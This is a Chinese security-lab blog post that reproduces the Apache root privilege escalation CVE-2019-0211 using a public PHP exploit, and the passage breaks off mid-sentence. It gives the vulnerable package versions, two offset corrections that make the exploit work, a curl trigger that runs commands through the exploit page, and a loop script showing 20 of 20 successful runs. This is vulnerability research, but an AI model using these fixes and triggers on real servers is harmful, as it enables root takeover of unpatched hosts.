专栏名称: Seebug漏洞平台
Seebug,原 Sebug 漏洞平台,洞悉漏洞,让你掌握第一手漏洞情报!
目录
相关文章推荐
掌中淄博  ·  “比价神器”来了!买药必看 ·  3 天前  
掌中淄博  ·  “比价神器”来了!买药必看 ·  3 天前  
51好读  ›  专栏  ›  Seebug漏洞平台

Apache 提权漏洞(CVE-2019-0211)复现

Seebug漏洞平台  · 公众号  ·  · 2019-04-12 18:14

正文

作者:Hcamael@知道创宇404实验室


本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。


本篇文章没有叫: 《Apache 提权漏洞分析》是因为我觉得 CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation 这篇文章的分析写的挺好的,所以我没必要再翻译一遍了,本篇文章主要叙述复现该漏洞的过程中踩过的坑。


复现环境


我使用的复现环境是:

# 系统, 跟系统关系不是很大,主要问题是能不能用包管理器安装对应版本的apache
$ lsb_release -a
Distributor ID:Ubuntu
Description:Ubuntu 18.04.1 LTS
Release:18.04
Codename:bionic
# Apache版本,复现的关键就在该版本
$ apache2 -v
Server version: Apache/2.4.29 (Ubuntu)
Server built:   2018-03-02T02:19:31
# php版本
$ php -v
PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
  with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies



1. apache使用apt安装的版本属于已经修复的版本,所以需要指定一下版本:

# apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4


2. php直接用apt安装就好了


3. exp地址: https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php


4. 需要开启ssl模块: a2enmod ssl


关于需要开始ssl模块说明:


  1. 就算不开ssl模块,漏洞也是存在的

  2. 就算不开启ssl模块,你自己修改apache配置,能开启其他端口,也是能利用的

  3. 如果只开了80端口,则需要另行找一条利用链,github上公布exp在只开启了一个端口的情况下是无效的

  4. @cfreal的文章中已经说了,我这里在多说句,相关代码可以看看[[1]](#jump1)和[[2]](#jump2)还有 SAFE_ACCPET 的宏定义:

/* On some architectures it's safe to do unserialized accept()s in the single

 * Listen case.  But it's never safe to do it in the case where there's

 * multiple Listen statements.  Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT

 * when it's safe in the single Listen case.

 */

#ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT

#define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS)

#else

#define SAFE_ACCEPT(stmt) (stmt)

#endif


简单的来说,只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。



跑exp中遇到的一些坑


我试过了很多版本,没有一个版本是能直接使用Github上的exp的,在上述表面的版本中,经过调试研究发现了两个问题导致了利用失败:


  1. $all_buckets = $i - 0x10 计算出问题

  2. $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); 计算出问题


第一个计算 all_buckets 的地址,使用gdb进行调试,你会发现,这个值并没有算错,但是在执行 apache2ctl graceful 命令以后, all_buckets 生成了一个新的值,不过只和之前的 all_buckets 地址差 0x38000 ,所以这个问题很好解决:

$all_buckets = $i - 0x10 + 0x38000;


第二个计算没必要这么复杂,而且在我测试的版本中还是算的错误的地址,直接改成:

$bucket_index = $bucket_index_middle;


ubuntu中的一个坑


我的payload是: curl "http: //localhost/cfreal-carpediem.php? cmd=id>/tmp/2323232"


表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下 $find /tmp -name "2323232" 就找到文件了,不过只有root用户能访问。 如果不想让systemd重定向tmp目录也简单:

$ cat /lib/systemd/system/apache2.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target

[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl stop
ExecReload=/usr/sbin/apachectl graceful
PrivateTmp=false
Restart=on-abort

[Install]
WantedBy=multi-user.target


这项为false就好了, PrivateTmp=false ,改完以后重启一下,再测试一遍就能在tmp目录下写文件了


关于成功率的说法


在exp的注释中看到了说该利用没法100%成功,有失败的概率,所以我写了个脚本进行测试:

root@vultr: ~# cat check
#! /bin/bash

SUCC=0
COUNT=0
for i in $(seq 1 20)
do
let COUNT+=1
/etc/init.d/apache2 stop
sleep 1
/etc/init.d/apache2 start
if [ -f "/tmp/1982347" ];then
rm /tmp/1982347
fi
curl "http: //localhost/cfreal-carpediem.php? cmd=id>/tmp/1982347"

apache2ctl graceful

sleep 1

if [ -f "/tmp/1982347" ];then
let SUCC+=1
fi

done

echo "COUNT: $COUNT"
echo "SUCCESS: $SUCC"


我测试的跑了20次的结果:

# ./check
......
COUNT: 20
SUCCESS: 20


并没有遇到失败的情况


总 结


其他版本的还没有进行测试,但是在这里给一些建议。


  1. check all_buckets地址


这个挺简单的,执行完exp以后,有输出对应的pid和all_buckets地址,可以使用gdb attach上去检查下该地址是否正确: p all_buckets


PS: 这里要注意下,需要安装dbg包,才有all_buckets符号 : apt install apache2-dbg=2.4.29-1ubuntu4


如果有问题,就调试检查exp中搜索all_buckets地址的流程


如果没问题,就使用gdb attach主进程(root权限的那个进程),然后断点下在 make_child ,然后执行 apache2ctl graceful ,执行完然后在gdb的流程跳到make_child函数的时候,再输出一次: p all_buckets ,和exp获取的值对比一下,如果一样就没问题了


  1. check my_bucket地址


前面的流程和上面一样,重点关注在make_child函数中的my_bucket赋值的代码: [[3]](#jump3)

这里注意下,因为上面有一个fork,所以在gdb里还要加一句: set follow-fork-mode child

my_bucket 的值是一个指针,指向堆喷的地址,如果 my_bucket







请到「今天看啥」查看全文